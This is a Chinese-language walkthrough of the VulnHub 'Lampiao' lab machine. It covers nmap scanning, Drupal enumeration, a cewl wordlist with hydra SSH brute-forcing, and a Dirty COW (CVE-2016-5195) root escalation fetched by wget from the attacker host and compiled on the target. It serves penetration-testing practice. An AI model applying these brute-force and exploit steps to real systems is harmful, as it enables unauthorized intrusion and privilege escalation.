[vulnhub系列]lampiao靶机
环境:下载靶机、解压、VMware打开,并将其和kali虚拟机的网络调成NAT模式
一.明确目标
探测目标主机IP情况
nmap 192.168.153.0/24
目标主机IP:192.168.153.137
Kali的IP:192.168.153.129
二.信息搜集
Nmap 进行常规端口开放扫描
nmap 192.168.153.137 -p-
目标靶机开放了22端口,80端口,以及一个1898端口
访问80 端口之后 这个只是个静态页面
再次尝试使用1898端口进行访问 可见有一个登录界面
主页随便点点,发现点击Read more,url里的路径会发生变化:
这个页面好像也没有什么可以利用的信息,但是观察到url里的?q=node/1,这里我们可以试试进行枚举,把1换成2或3,4进行尝试,发现?q=node/2页面存在两个文件:
将这两个文件分别输入路径会发现,这是一个音频文件和一个二维码,在kali上,那个音频文件不能支持相应的格式,可以转到windows上输入ip地址:端口/文件名
在音频中得知了用户名是:tiago,扫描二维码发现并没有什么东西,可能还得对22端口进行爆破。此处先暂时记录,用户名tiago。
对该网站目录进行爆破枚举,利用到的是kali上的dirb:
dirb http://192.168.153.137:1898
发现了robots.txt,输入路径查看相关的文件路径
发现了CHANGELOG.txt文件,将其输入url,发现了有用的信息Drupal 7.54, 2017-02-01。
将有用的信息收集到一起,现在发现了用户名tiago,还有这个系统的版本名字Drupal 7.54。
下面为爆破22端口,提前利用kali的cewl,cewl通过爬行网站获取一些关键信息然后创建一个密码字典。(用cewl可以生成一份综合网站的密码字典,类似于社会工程性质的密码字典)
cewl http://192.168.153.137:1898/?q=node/1 >password.txt (cewl爬取网页生成密码字典)
再利用hydra爆破22 端口的ssh:
hydra -l tiago -P password.txt ssh://192.168.153.137
爆破得到ssh登录密码:Virgulino
再进行ssh远程登录
ssh tiago@192.168.153.137
三.权限提升
输入uname -a查看内核版本,发现为2016的LINUX
Linux为2016年7月更新,那我们可以使用脏牛进行提权
CVE-2016-5195 脏牛 复现
漏洞范围:Linux kernel>2.6.22
Kali中自带了脏牛提权脚本
存放目录:/usr/share/exploitdb/exploits/linux/local/40847.cpp
将40847.cpp复制到Kali的root家目录下
cp 40847.cpp /root
Kali 上 开启 http 服务
python3 -m http.server
首先靶机进入/tmp目录下
使用wget 方式 将 40847.cpp 传到 靶机里
wget http://192.168.153.129:8000/40847.cpp
对这个40847.cpp 使用gcc进行编译生成exp文件
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o exp 40847.cpp -lutil
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o exp gcc生成的目标文件,名字为exp
执行gcc编译可执行文件,可直接提权。
给exp文件赋所有权限
chmod +777 exp
执行exp文件,得到root密码:dirtyCowFun
./exp
切换root用户,得到root权限!!!!!!!!!!!!!
四.总结
1)信息收集:
1、nmap挖掘信息。2、挖掘HTTP服务信息。3、搜寻页面有用的信息。4、对信息页面枚举。5、爬取网页信息。
2)暴力破解:
hydra暴力破解ssh密码
3)提权:
1、内核提权